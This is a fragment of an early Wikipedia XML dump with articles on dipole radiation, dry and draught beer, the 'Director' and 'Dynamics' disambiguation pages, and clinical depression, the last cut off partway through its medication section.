:&lt;math&gt; \Phi  (\mathbf{r}) = \frac {1} {4\pi\epsilon_0 r^2} (\mathbf{p}\cdot\hat{\mathbf{r}}).&lt;/math&gt;

And the [[electric field]] from a dipole can be found from the [[gradient]] of this potential: 

:{|
|&lt;math&gt; \mathbf{E} \,&lt;/math&gt;
|&lt;math&gt; = - \nabla \Phi \,&lt;/math&gt;
|-
|
|&lt;math&gt; =\frac {1} {4\pi\epsilon_0 r^3} \left(3(\mathbf{p}\cdot\hat{\mathbf{r}})\hat{\mathbf{r}}-\mathbf{p}\right)&lt;/math&gt;
|}

where

:'''E''' is the electric field
:'''r''', ''r'', &lt;math&gt;\hat{\mathbf{r}}&lt;/math&gt; are as above
:'''p''' is the (vector) dipole moment
:'''&amp;epsilon;&lt;sub&gt;0&lt;/sub&gt;''' is the [[permittivity of free space]].

Notice that this is formally identical to the magnetic field of a point magnetic dipole; only a few names have changed.

==Dipole radiation==
In addition to dipoles in electrostatics, it is also common to consider an electric or magnetic dipole that is oscillating in time.

In particular, a harmonically oscillating electric dipole is described by a dipole moment of the form &lt;math&gt;\mathbf{p}=\mathbf{p'(\mathbf r)}e^{-i\omega t}&lt;/math&gt; where &amp;omega; is the [[angular frequency]].  In vacuum, this produces fields:

:&lt;math&gt;\mathbf{E} = \frac{1}{4\pi\varepsilon_0} \left\{ \frac{\omega^2}{c^2 r} \hat{\mathbf{r}} \times \mathbf{p} \times \hat{\mathbf{r}}  
+ \left( \frac{1}{r^3} - \frac{i\omega}{cr^2} \right) \left[ 3 \hat{\mathbf{r}} (\hat{\mathbf{r}} \cdot \mathbf{p}) - \mathbf{p} \right]  \right\} e^{i\omega r/c}&lt;/math&gt;
:&lt;math&gt;\mathbf{H} = \frac{\omega^2}{4\pi c} \hat{\mathbf{r}} \times \mathbf{p} \left( 1 - \frac{c}{i\omega r} \right) \frac{e^{i\omega r/c}}{r}&lt;/math&gt;

Far away (for &lt;math&gt;r\omega/c \gg 1&lt;/math&gt;), the fields approach the limiting form of a radiating spherical wave:

:&lt;math&gt;\mathbf{H} = \frac{\omega^2}{4\pi c} (\hat{\mathbf{r}} \times \mathbf{p}) \frac{e^{i\omega r/c}}{r}&lt;/math&gt;
:&lt;math&gt;\mathbf{E} = \sqrt{\frac{\mu_0}{\epsilon_0}} \mathbf{H} \times \hat{\mathbf{r}}&lt;/math&gt;

which produces a total time-average radiated power ''P'' given by:

:&lt;math&gt;P = \sqrt{\frac{\mu_0}{\epsilon_0}} \frac{\omega^4}{12\pi c^2} |\mathbf{p}|^2&lt;/math&gt;

This power is not distributed isotropically, but is rather concentrated around the directions lying perpendicular to the dipole moment.
Usually such equations are described by [[spherical_harmonics]], but they look very different.
A circular polarized dipole is described as a superposition of two linear dipoles.

==See also==
* [[Electrostatics]]
* [[Magnetostatics]]
* [[Electric field]]
* [[Magnetic field]]
* [[Magnetic dipole moment]]

==References==
*{{cite book
 | last = Brau | first = Charles A.
 | title=Modern Problems in Classical Electrodynamics
 | publisher=Oxford University Press
 | year=2004
 | id=ISBN 0195146654
 }}
*{{cite book
 | last = Griffiths | first = David J. | title=Introduction to Electrodynamics
 | edition = 3rd ed. 
| publisher=Prentice Hall
 |year=1998
 |id=ISBN 013805326X
 }}

==External links==
* [http://geomag.usgs.gov USGS Geomagnetism Program]

[[Category:Electromagnetism]]
[[Category:chemical properties]]

[[de:Dipol]]
[[fa:دوقطبی الکتريکی]]
[[fr:Dipôle]]
[[it:Dipolo magnetico]]
[[ja:双極子]]
[[nl:Dipool]]
[[pl:Elektryczny moment dipolowy]]
[[sl:električni dipol]]
[[sr:Дипол]]</text>
    </revision>
  </page>
  <page>
    <title>Dipole-dipole bond</title>
    <id>8379</id>
    <revision>
      <id>15906382</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>bypass redirect chain</comment>
      <text xml:space="preserve">#REDIRECT [[intermolecular force]]
</text>
    </revision>
  </page>
  <page>
    <title>Dipole-dipole attraction</title>
    <id>8380</id>
    <revision>
      <id>15906383</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Sodium</username>
        <id>41</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[intermolecular force]]</text>
    </revision>
  </page>
  <page>
    <title>Delocalised</title>
    <id>8382</id>
    <revision>
      <id>15906385</id>
      <timestamp>2005-01-16T18:10:45Z</timestamp>
      <contributor>
        <username>Cacycle</username>
        <id>83784</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Delocalized electron]]</text>
    </revision>
  </page>
  <page>
    <title>Dry beer</title>
    <id>8385</id>
    <revision>
      <id>33385443</id>
      <timestamp>2005-12-31T16:09:52Z</timestamp>
      <contributor>
        <username>Wasbeer84</username>
        <id>737831</id>
      </contributor>
      <comment>Moved to &quot;Beer styles&quot;. &quot;Types of beer&quot; is obsolete.</comment>
      <text xml:space="preserve">'''Dry''' is a category of [[beer]] originally developed in [[Japan]]. The &quot;dry&quot; refers to the amount of unconverted [[sugar]] left in the beer after [[fermentation]]. In dry beer, nearly all the sugar is converted in to [[ethanol|alcohol]] due to the long fermentation period. Dry beer is supposed to have a crisp, clean finish and less aftertaste.

In the 1990's, this style of beer found some brief popularity in the [[United States]].  Several of the major brewing companies, including [[Anheuser-Busch]] (maker of [[Budweiser (Anheuser-Busch)|Budweiser]]), and [[Miller Brewing|Miller]] produced dry beers.  The style has all but died out since then.


{{Beer-stub}}

[[Category:Beer styles]]</text>
    </revision>
  </page>
  <page>
    <title>Dynamics</title>
    <id>8386</id>
    <revision>
      <id>41365704</id>
      <timestamp>2006-02-26T21:59:07Z</timestamp>
      <contributor>
        <ip>82.122.131.204</ip>
      </contributor>
      <comment>added interwiki to Turkish</comment>
      <text xml:space="preserve">The word '''dynamics''' can refer to:

*in [[physics]], a branch of [[mechanics]]; see [[dynamics (mechanics)]]. More generally an adjective applying to a theory or model that describes the effects of forces on a system. A system in which all time evolution has stopped in said to be in ''steady-state.'' 
*the volume of [[music]]; see [[dynamics (music)]]
*DYNAMIC+

See also

*[[Dinamic Multimedia]], a [[Spain|Spanish]] software company

{{disambig}}

[[pl:Dynamika]]
[[tr:Dinamik]]</text>
    </revision>
  </page>
  <page>
    <title>Draught beer</title>
    <id>8387</id>
    <revision>
      <id>41741836</id>
      <timestamp>2006-03-01T12:15:53Z</timestamp>
      <contributor>
        <username>Slui</username>
        <id>921573</id>
      </contributor>
      <text xml:space="preserve">[[Image:Keg Fonts.jpg|right|thumb|250px|Draught beer keg fonts at the Delirium Café in Brussels]]

'''Draught beer''' (also called '''draft beer''' or '''tap beer''') is &quot;any beer that is stored in a large container and then transferred to smaller containers when served.&quot; [http://www.leeds-camra.com/General/glossary.shtml#draughtbeer] It includes [[cask ale]] and [[keg beer]]. Recently the term may also be applied to canned or bottled beers that are cold-filtered, or to beers using nitrogen [[widget (beer)|widgets]].  This use is controversial among beer purists. [http://www.nherts-camra.org.uk/aims.htm]

==History of draught==
Until [[Joseph Bramah]] invented the beer engine in 1785, beer was served direct from the cask and carried to the customer. The old English word for carry was ''dragen'' from the German ''tragen'', which developed into a series of related words including drag, draw and draught. By extension the word for carrying or drawing a beer came to mean the serving of the beer, and in some senses the act of drinking or a drink of beer itself regardless of serving method. By the time Bramah's beer pumps became popular the use of the word draught to mean the act of serving beer was well established and transferred easily to beer served via the hand pumps.

By the early 20th century draught beer was starting to be served from pressurised containers, and artificial [[carbonation]] was introduced in Britain in 1936 with Watney’s experimental pasteurised beer Red Barrel. Though this method of serving beer did not take hold in Britain until the late 1950s, it did become the favoured method in the rest of Europe where it is known by such terms as ''en pression''. The method of serving beer under pressure then spread to the rest of the world, and by the early 1970s draught beer was almost exclusively beer served under pressure.  

Shortly after the British consumer organisation [[CAMRA]] was founded in 1971 to protect unpressurised beer, they devised the term [[Real Ale]] to differentiate beer served from the cask from beer served under pressure. By 2004 the term Real Ale had been expanded to include [[bottle conditioned]] beer, while the term Cask Ale had become the accepted global term to indicate a beer not served under pressure.

==Keg dispense==
{{main|Keg beer}}
In modern beer dispensing, a metal keg is pressurised with [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;) gas or [[nitrogen]] (N&lt;sub&gt;2&lt;/sub&gt;) gas or a combination of both (known as Beer Gas).  Pressure in the keg drives the beer to the dispensing tap, or faucet. 

The addition of the CO&lt;sub&gt;2&lt;/sub&gt; in the keg also carbonates the beer giving it ''life'', ''sparkle'' and ''bite''. The CO&lt;sub&gt;2&lt;/sub&gt; pressure varies depending on the amount of CO&lt;sub&gt;2&lt;/sub&gt; already in the beer and the keg storage temperature.  Occasionally the CO&lt;sub&gt;2&lt;/sub&gt; gas is blended with nitrogen gas.  Nitrogen is used because it makes the beer taste smooth and gives a foamy appearance.

==Country differences==
Draught beer is usually unpasteurised in America. It is intended to be kept refrigerated between 2°C (35°F) and 4°C (40°F), and consumed quickly after being &quot;tapped&quot;. Above 6°C (44°F), a beer may within two days turn sour and cloudy. Below 6°C (44°F), a keg of draft beer should last 20-30 days before it loses its fresh taste and aroma. 

In the UK draught beer is nearly always pasteurised. The term [[keg beer]] would imply the beer is pasteurised. Some of the newer microbreweries may offer a nitro keg stout which is filtered but not pasteurised, but the older established breweries do pasteurise.

==Smooth flow==
'''Smooth flow''' (also known as '''cream flow''' or just '''smooth''') is the name brewers give to beers pressurised with nitrogen; either from a can or bottle with a [[Widget (beer)|widget]], or from a pressurised keg.

==Canned and bottled draught==
Recently the words &quot;draft&quot; and &quot;draught&quot; have been used as marketing terms to describe [[aluminum can|canned]] or [[bottle]]d beers, implying that they taste and appear as beers from a keg.  Two examples are [[Miller Genuine Draft]], which is a cold-filtered [[lager]], and [[Guinness]] stout in patented &quot;Draught-flow&quot; cans and bottles.  Guinness is an example of beers that use nitrogen [[Widget (beer)|widget]]s to create a smooth beer with a large foamy head.

==See also==
*[[Cask ale]]
*[[Keg beer]]
*[[Real Ale]]

[[Category:Beer]]
[[de:Fassbier]]</text>
    </revision>
  </page>
  <page>
    <title>Director</title>
    <id>8388</id>
    <revision>
      <id>41445529</id>
      <timestamp>2006-02-27T10:29:01Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>/* The Arts */ add one</comment>
      <text xml:space="preserve">{{wiktionarypar|director}}
'''Director''' may refer to:

===The Arts===
*[[Animation director]]
*[[Art director]]
*[[Artistic director]], a theatre management position
*[[Casting director]]
*[[Choral director]]
*[[Creative director]]
*[[Film director]], the person responsible for orchestrating the artistic and dramatic aspects of a film
*[[Game director]]
*Museum director, see [[curator]]
*[[Music director]]
*[[Music video director]]
*[[Television director]]
*[[Theatre director]]

===Business===
*[[Board of directors]]
*[[Executive director]]
*[[Managing director]]
*[[Non-executive director]]
*[[Technical director]]
*[[Director-general]]
*Director may also be the title of a mid-level [[management|manager]] in a business organization.

===Other===
*[[Funeral director]]
*[[Tournament director]], for sporting events
*[[Macromedia Director]], multimedia authoring software

===See also===
* ''[[The Director (film)]]'', an Australian movie
* [[Osama bin Laden]], one of whose nicknames is &quot;The Director&quot;

{{disambig}}

[[de:Regisseur]]
[[es:Director]]
[[fr:Réalisateur]]
[[is:Leikstjóri]]
[[he:במאי]]
[[ja:監督]]
[[pl:Reżyser]]
[[ru:Режиссёр]]
[[sq:Regjisor]]
[[sv:Regissör]]
[[zh:导演]]</text>
    </revision>
  </page>
  <page>
    <title>Clinical depression</title>
    <id>8389</id>
    <revision>
      <id>42092939</id>
      <timestamp>2006-03-03T19:58:27Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>rv to RC Cola.  Spam.</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox 
 | Name = Depressive episode 
 | ICD10 = F32, F33 Recurrent depressive disorder 
 | ICD9 = {{ICD9|296.2}} Single episode, {{ICD9|296.3}} Recurrent, {{ICD9|296.5}} Bipolar I disorder most recent episode depressed 
 }}
'''Clinical depression''' is a state of [[sadness]] or [[melancholia]] that has advanced to the point of being disruptive to an individual's social functioning and/or activities of daily living. The diagnosis may be applied when an individual meets a sufficient number of the symptomatic criteria for the [[depression spectrum]] as suggested in the [[DSM-IV-TR]] or [[ICD-9]]/[[ICD-10|10]].  An individual is often seen to suffer from what is termed a &quot;clinical depression&quot; without fully meeting the various criteria advanced for a specific diagnosis on the depression spectrum. There is an ongoing debate regarding the relative importance of genetic or environmental factors, or gross brain problems versus psychosocial functioning.

Although a [[mood]] characterized by [[sadness]] is often colloquially referred to as [[depression (mood)|depression]], clinical depression is something more than just a temporary state of sadness. [[Symptom]]s lasting two weeks or longer, and of a severity that begins to interfere with typical social functioning and/or activities of daily living, are considered to constitute clinical depression. 

Clinical depression was originally considered to be a &quot;[[chemical imbalance theory|chemical imbalance]]&quot; in transmitters in the brain, a theory based on observations made in the 1950s of the effects of [[reserpine]] and [[isoniazid]] in altering monoamine neurotransmitter levels and affecting depressive symptoms {{Ref|Schildkraut}}.  Subsequent antidepressants have also been found to alter monoamine levels, particularly of serotonin and noradrenaline {{Ref|Hirschfeld}}.  Despite a growing body of [http://www.dushkin.com/text-data/articles/24741/body.pdf evidence] suggesting otherwise, it is still a commonly held belief that depression is ''only'' a chemical imbalance.  This idea is often promoted in pharmaceutical advertising, and perpetuated in everyday discussions.  Despite this reliance on &quot;common wisdom&quot;, recent research and commentary has begun to address depression as an issue broader than this.

Clinical depression affects about 16%{{ref|oldref_1}} of the population on at least one occasion in their lives. The [[mean]] [[age of onset]], from a number of studies, is in the late 20s. About twice as many females as males report or receive treatment for clinical depression, though this imbalance is shrinking over the course of recent history; this difference seems to completely disappear after the age of 50 - 55, when most females have passed the end of [[menopause]]. Clinical depression is currently the leading cause of  [[disability]] in the US as well as other countries, and is expected to become the second leading cause of disability worldwide (after [[heart disease]]) by the year 2020, according to the [[World Health Organization]]{{ref|oldref_5}}.

On a historical note, the modern idea of depression appears similar to the much older concept of [[melancholia]]. The name ''melancholia'' derives from 'black bile', one of the '[[four humours]]' postulated by [[Galen]].

The [[Ebers papyrus]] (ca 1550 BC) contains a short description of clinical depression. Though full of incantations and foul applications meant to turn away disease-causing demons and other superstition, it also evinces a long tradition of empirical practice and observation.

== Signs and symptoms ==
According to the [http://www.behavenet.com/capsules/disorders/mjrdepd.htm DSM-IV-TR criteria for diagnosing a major depressive disorder] (see also: [[DSM cautionary statement]]) one of the following two required elements need to be present:

* [[depression (depressed mood)|Depressed mood]], or 
* Loss of interest or [[pleasure]]. 

It is sufficient to have either of these symptoms in conjunction with four of a list of other symptoms. These include:

* Feelings of overwhelming [[sadness]] or [[fear]], or the seeming inability to feel [[emotion]].  
* A decrease in the amount of pleasure derived from what were previously pleasurable activities.  
* Changing [[appetite]] and marked [[weight]] gain or weight loss. 
* Disturbed [[sleep]] patterns, such as [[insomnia]], loss of REM sleep, or excessive sleep.
* Changes in activity levels, such as restlessness or a slowing of movement.
* [[Fatigue (physical)|Fatigue]], either/both mental and physical. 
* Feelings of [[guilt]], helplessness, hopelessness, [[anxiety]], and/or [[fear]].
* A decrease in [[self-esteem]].
* Trouble concentrating or making decisions, or a generalized slowing and obtunding of cognition.
* Self-harm or ruminating on self-harm. 
* Ruminating on [[death]] and/or [[suicide]].
* Reduced memory.

Depression in [[child]]ren is not as obvious as it is in adults. Here are some symptoms that children might display:

* Loss of appetite.
* Sleep problems, such as recurrent [[nightmare]]s.
* Learning or memory problems where none existed before.
* Significant behavioural changes; such as withdrawal, social isolation and [[aggression]].

An additional indicator could be the excessive use of drugs or [[Alcoholic beverage|alcohol]].  Depressed adolescents are at particular risk of further destructive behaviors, such as [[eating disorder]]s and [[self-harm]].

One of the most widely used instruments for measuring depression severity is the [[Beck Depression Inventory]], a 21 question multiple choice survey.

It is hard for people who have not experienced clinical depression, either personally or by regular exposure to people suffering it, to understand its emotional impact and severity, interpreting it instead as being similar to &quot;having the blues&quot; or &quot;feeling down&quot;.  As the list of symptoms above indicates, clinical depression is a serious, potentially lethal  systemic disorder characterized by interlocking physical, affective, and cognitive symptoms which have consequences for function and survival well beyond sad or painful feelings.

== Types of depression ==
=== Major Depression ===
'''Major Depression''', or, more properly, 'Major Depressive Disorder' (MDD) is characterized by a severely depressed mood that persists for at least two weeks, and is generally recognized to contain an organic (chemical) component. Major Depressive Disorder is specified as either &quot;a single episode&quot; or &quot;recurrent&quot;, as periods of depression may occur as discrete events or as recurrent over the lifespan. &lt;p&gt;Diagnosticians recognize several sub-types of Major Depressive Disorder.

* ''[[Catatonic depression | Catatonic Features Specification]]'' - Catatonia is characterized by motoric immobility evidenced by [[catalepsy]] or [[stupor]].  This MDD sub-type may also manifest excessive, non-prompted motor activity (akathesia), extreme negativism and/or [[Selective mutism|mutism]], and peculiarities in movement, including stereotypical movements, prominent mannerisms, and/or prominent grimacing.  There may also be evidence of [[echolalia]] or [[echopraxia]].

* ''[[Melancholic depression | Melancholic Features Specification]]'' - Melancholia is characterized by a loss of pleasure (anhedonia) in most or all activities, a failure of reactivity to pleasurable stimuli, a quality of depressed mood more pronounced than that of grief or loss, a worsening of symptoms in the morning hours, early morning waking, psychomotor retardation, anorexia (excessive weight loss, not to be confused with [[Anorexia Nervosa]]), and/or excessive guilt.

* ''[[Atypical depression | Atypical Features Specification]]'' Atypicality is characterized by mood reactivity (paradoxical anhedonia) and positivity, significant weight gain or increased appetite, excessive sleep or somnolence (hypersomnia), leaden paralysis, and/or significant social impairment as a consequence of hyper-sensitivity to perceived interpersonal rejection.

* ''[[Psychosis | Psychotic Features Specification]]'' presents with [[hallucination]]s or [[delusion]]s that are either mood-congruent (content coincident with depressive themes) or non-mood-congruent (content not coincident with depressive themes).  It is clinically more common to encounter a [[delusional system]] as an adjunct to depression than to encounter hallucinations, whether visual or auditory.

=== Other Categories of Depression ===
'''[[Dysthymia]]''' is a long-term, mild depression that lasts for a minimum two years. By definition the symptoms are not as severe as with Major Depression, although those with Dysthymia are vulnerable to co-occurring episodes of Major Depression.  This disorder often begins in [[adolescence]], and crosses the lifespan.

'''[[Bipolar I Disorder]]''' is an episodic illness in which moods may cycle between [[mania]] and depression.  In the US, Bipolar Disorder was previously referred to as &quot;Manic Depression&quot;.  This term is no longer favored by the medical community as not all Bipolar individuals will present depressive symptoms. &quot;Manic Depression&quot; is still often used in the non-medical community.

'''[[Bipolar II Disorder]]''' is an episodic illness that is defined primarily by depression, but evidences episodes of [[hypomania]].

== The role of anxiety in depression ==
=== Anxiety ===
The different types of Depression and Anxiety are classified separately by the DSM-IV-TR, with the exception of [[hypomania]], which is included under the [[Bipolar|Bipolar Disorder]] category. Despite the different categories, depression and anxiety can indeed be [[co-occurring]] (occurring together, independently, and without [[mood congruence]]), or [[co-morbid]] (occurring together, with overlapping symptoms, and with [[mood congruence]]). In an effort to bridge the gap between the [[DSM|DSM-IV-TR]] categories and what clinicians actually encounter, experts such as [[Herman Van Praag]] of the [[Maastricht University]] have proposed ideas like anxiety/aggression-driven depression {{citeneeded}}.  This idea, and others like it, refers to an [[anxiety/depression spectrum]] for these two disorders, which differs from the mainstream perspective of discreet diagnostic categories.

While there is no specific diagnostic category for the co-morbidity of depression and anxiety in the DSM or ICD, the [[National Comorbidity Survey (US)]] reports that some 58 percent of those with major depression also suffer from lifetime anxiety citation.  Supporting of this finding, two widely accepted clinical colloquiallisms include:

:*''agitated depression'' - referring to a state of depression that presents as anxiety, that includes akathisia, suicide, insomnia (not early morning wakefulness), non-clinical (meaning “doesn’t meet the standard for formal diagnosis”) and non-specific panic, and a general sense of dread.

:*''akathitic depression'' - referring to a state of depression that presents as anxiety, suicide, and includes akathisia, but does not include symptoms of panic.

It is also clear that even mild anxiety symptoms can have a major impact on the course of a depressive illness, and the co-mingling of any anxiety symptoms with the primary depression is important to consider. A pilot study by [[Ellen Frank PhD]], et. al., at the [[University of Pittsburgh]] found that depressed or bipolar patients with lifetime panic symptoms experienced significant delays in their weeks to remission. {{citeneeded}}  These patients also had higher levels of residual impairment, or the ability to get back into the swing of things.  On a similar note, [[Robert Sapolsky PhD]] of [[Stanford University]], and others, also argue that the relationship between stress, anxiety, and depression could be measured and demonstrated biologically. {{citeneeded}}.  To that point, a [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10918705&amp;query_hl=13&amp;itool=pubmed_docsum study] by [[Heim]] and [[Nemeroff]], et. al., of [[Emory University]] found that depressed and anxious women with a history of childhood abuse recorded higher heart rates and the stress hormone [[ACTH]] when subjected to a stressful situation.

=== Hypomania ===
[[Hypomania]], as the name suggests, is a state of mind and/or behavior that is &quot;below&quot; (hypo) [[mania]].  In other words, a person in a hypomanic state will often display behavior that has all the earmarks of a full-blown mania (marked elevation of mood that is characterized by euphoria, overactivity, disinhibition, impulsivity, a decreased need for sleep, hypersexuality, etc.), but these symptoms, while disruptive and seemingly out of character, will not be so pronounced as to be considered a diagnosibly manic episode.

Another important point is that hypomania is a diagnostic category that includes both [[anxiety]] and depression.  It often presents as a state of anxiety that occurs within the context of a clinical depression.  Patients in a hypomanic state often describe a sense of extreme generalized and/or specific anxiety, re-recurring panic attacks, night terrors, guilt, and [[agency]] (as it pertains to [[co-dependence]] and [[counter-dependence]]). All of this happens while they are in a state retarded or somnolent depression. This is the type of depression where a person is lethargic and unable to move through life.  The terms “retarded” and “somnolent” are shorthand for states of depression that include lethargy, hypersomnia, a lack of motivation, a collapse of ADLs (activities of daily living), and social withdrawal.  This is similar to the shorthand used to describe an &quot;agitated&quot; or &quot;[[akathisia|akathitic]]&quot; depression.

In considering the hypomania-depression connection, one other distinction should be made.  That is the differentiation among [[anxiety]], [[panic]], and [[Stress (medicine)|stress]]. Anxiety is a physiological state that is caused by the [[sympathetic nervous system]]. Anxiety does not need an outside influence to occur. Panic is related to the [[fight or flight|&quot;fight or flight&quot;]] mechanism.  It  is a reaction, induced by an outside stimili, and is a product of the [[sympathetic nervous system]], and the [[cerebral cortex]].  More plainly, panic is an anxiety state that we are thinking about. Finally, stress is a [[psycho-social]] reaction, influenced by how a person filters non-threatening external events.  This filtering is based on his/her own ideas, assumptions, and expectations. Taken together, these ideas, assumptions, and expectations are referred to as social [[constructionism]].

On a final note, researchers at the [[University of California]], [[San Diego]] under the guidance of [[Hagop Akiskal]] MD, have found convincing evidence for the co-occurrence of hypomanic symptoms associated with a diagnosis of depression where the diagnosis does  not meet criteria for a Bipolar diagnosis.{{citeneeded}}  Symptoms under consideration, such as irritability, mis-directed anger, and compulsivity, also may not present sufficiently to be considered  a hypomanic episode, as described by a [[Bipolar|Bipolar II]] Disorder. As noted in the Frank study {{citeneeded}} mentioned above, this particular course of the disease, with the breakthrough of anxiety, may have a significant impact on the overall course of the depression.

This idea of co-occurring anxiety and depresion is supported in a study by [[Giovanni Cassano]] MD of the [[University of Pisa]], and his collaborators on the Spectrum Project, who found a correlation between lifetime hypomanic and manic symptoms, and the severity of the depression.{{citeneeded}}

:“The presence of a significant number of manic/hypomanic items in patients with recurrent unipolar depression seems to challenge the traditional unipolar-bipolar dichotomy...” 

These authors, along with many other researchers,{{citeneeded}} argue in support of a revision of  the approach to psychiatric diagnosis into what is being referred to the mood spectrum, so as to “...[make] more accurate diagnostic evaluation[s].” This approach, although controversial, has begun to be given consideration by many behavioral health professionals.

== Causes of depression ==
No specific cause for depression has been identified, but there are a number of factors believed to be involved. 

* '''[[Heredity]]''' &amp;ndash; The tendency to develop depression may be inherited; there is some evidence that this disorder may run in families. {{fact}}

[[Image:synapse.png|thumbnail|200px|right|Brain chemicals called neurotransmitters allow electrical signals to move from the axon of one nerve cell to the neuron of another. A shortage of neurotransmitters impairs brain communication.]] 
* '''[[Physiology]]''' &amp;ndash; There may be changes or imbalances in chemicals which transmit information in the brain, called [[neurotransmitters]].  Many modern [[antidepressant]] [[Psychoactive drug|drug]]s attempt to increase levels of certain neurotransmitters, like [[serotonin]] and norepinephrine.  While the causal relationship is unclear, it is known that antidepressant medications do relieve certain symptoms of depression, although critics point out that the relationship between serotonin, SSRIs, and depression is usually greatly oversimplified when presented to the public (see [http://medicine.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pmed.0020392 here]). [[Seasonal affective disorder]] (SAD) is a type of depressive disorder that occurs in the winter when daylight hours are short.  It is believed that the body's production of [[melatonin]], which is produced at increased levels in the dark, plays a major part in the onset of SAD, and that many sufferers respond well to bright light therapy, also known as [[phototherapy]].  High levels of [[Omega-6 fatty acids]] in the brain have also been linked to depression. 
* '''[[Psychology|Psychological]] factors''' &amp;ndash; Low [[self-esteem]] and self-defeating or distorted thinking are connected with depression. While it is not clear which is the cause and which is the effect, it is known that sufferers who are able to make corrections to their thinking patterns can show improved mood and self-esteem.  Psychological factors include the complex development of one's personality and how one has learned to cope with external environmental factors, such as [[Stress (medicine)|stress]].

* '''Early experiences''' &amp;ndash; Events such as the death of a parent, [[abandonment]] or rejection, [[neglect]], chronic illness, and severe physical, psychological, or sexual [[abuse]] can also increase the likelihood of depression later in life.  [[Post-traumatic stress disorder]] (PTSD) includes depression as one of its major symptoms.

* '''Life experiences''' &amp;ndash; Job loss, financial difficulties, long periods of [[unemployment]], the loss of a spouse or other family member, divorce or the end of a committed relationship, or other [[Psychological trauma|trauma]]tic events may trigger depression.  Long-term stress, at home, work or school, can also be involved.

* '''Medical conditions''' &amp;ndash; Certain illnesses including cardiovascular pathologies{{ref|manev}}, [[hepatitis]], [[mononucleosis]], [[hypothyroidism]], and organic brain damage caused by either degenerative conditions such as Parkinson disease or by traumatic blunt force injury may contribute to depression, as may certain prescription drugs such as [[oral contraceptive|birth control pills]] and [[steroid]]s. 

* '''Diet''' &amp;ndash; The increase in depression in industrialised societies has been linked to diet; in particular to reduced levels of omega-3 [[fatty acids]] in [[intensive farming|intensively farmed]] food and processed foods{{ref|lawrence}}.  This link has been, at least partly, validated by studies using dietry supplements in schools{{ref|durham}} and by a double blind test in a prison.

* '''Alcohol and other drugs''' &amp;ndash; Alcohol can have a negative effect on mood, and misuse or abuse of alcohol, [[benzodiazepine]]-based tranquillizers and sleeping medications can all play a major role in the length and severity of depression.  The link between frequent [[cannabis]] use and depression is also widely documented, although the direction of causality remains in question.{{fact}}

* '''[[Postpartum depression]]''' (also known as ''postnatal depression'') &amp;ndash; About ten percent of new mothers experience some form of depression after childbirth.{{fact}}  When it occurs, the onset is typically within three months after delivery, and it may last for several months.  About two new mothers out of a thousand have depression so severe it includes [[hallucination]]s or [[delusion]]s.

* '''Living with a depressed person''' &amp;ndash; Those living with someone suffering from depression experience increased [[anxiety]], and life disruption, increasing the possibility of also becoming depressed.

* '''Social environment''' &amp;ndash; [[Evolution|Evolutionary theory]] suggests that depression is a protective mechanism: if an individual is involved in a lengthy fight for dominance of a social group and is clearly losing, depression causes the individual to back down and accept the submissive role.  In doing so, the individual is protected from unnecessary harm.  In this way, depression maintains the social hierarchy.

* '''Other evolutionary theories''' &amp;ndash; Another evolutionary theory is that the cognitive response that produces modern day depression evolved as a mechanism that allows people to assess whether they are in pursuit of an unreachable goal.  Still others claim that depression can be linked to [[Perfectionism (psychology)|perfectionism]].  People that accept satisfactory outcomes [[in lieu]] of &quot;the best&quot; outcome tend to lead happier lives. {{fact}}

== Treatment ==
[[depression treatment|Treatment of depression]] varies broadly, and is different for each individual. Various types and combinations of treatments may have to be tried. There are two primary modes of treatment, typically employed in conjunction with one another: [[medication]] and [[psychotherapy]]. A third treatment, [[electro-convulsive therapy]] (ECT) may be used where chemical treatment fails.

Other alternative treatments used for depression include exercise and the use of vitamins, herbs, or other nutritional supplements.

The effectiveness of treatment often depends on factors such as the amount of optimism and hope the sufferer is able to maintain, the control s/he has over stressors, the severity of symptoms, the amount of time the sufferer has been depressed, the results of previous treatments, and the degree of support of family, friends, and significant others.

While treatment is generally effective, there are some cases where the condition fails to respond. Treatment-resistant depression requires a full assessment which may lead to the addition of psychotherapy, higher medication doses, changes of medication or combination therapy, a trial of [[ECT]]/electroshock, or even a change in the diagnosis with subsequent treatment changes.  Although this process helps many, some people's symptoms continue unabated.

In emergency situations with suicidal persons, [[psychiatric hospital|psychiatric hospitalization]] is used simply to keep suicidal people safe until they cease to be dangers to themselves. Another treatment program is [[partial hospitalization]], in which the patient sleeps at home but spends the day, either five or seven days a week, in a psychiatric hospital setting in intense treatment. This treatment usually involves [[group therapy]], [[psychotherapy|individual therapy]], [[psychopharmacology]], and academics (in child and adolescent programs).

=== Medication ===
Medication which relieves the symptoms of depression has been available for several decades. These drugs are listed in order of historical development. Typical first line therapy for depression is the use of an SSRI type drug, such as [[sertraline]] (Zoloft).

''[[Monoamine oxidase inhibitor]]s'' (MAOIs) such as Nardil may be used if other antidepressant medications are ineffective. Because there are potenially fatal interactions between this class of medication and certain foods and drugs, they are rarely prescribed anymore. A new MAOI has recently been introduced. [[Moclobemide]] (Manerix), known as a [[reversible inhibitor of monoamine oxidase A]] (RIMA), follows a very specific chemical pathway and does not require a special diet. 

''[[Tricyclic antidepressant]]s'' are the oldest, and include such medications as [[amitriptyline]] and [[desipramine]]. They are used less commonly now, due to side-effects which may include increased [[heart]] rate, drowsiness, dry mouth, and [[memory]] impairment. Most importantly, they have a high potential to be lethal in moderate overdose. The reason why tricyclic antidepressants are still used is their high potency, especially in severe cases of clinical depression.

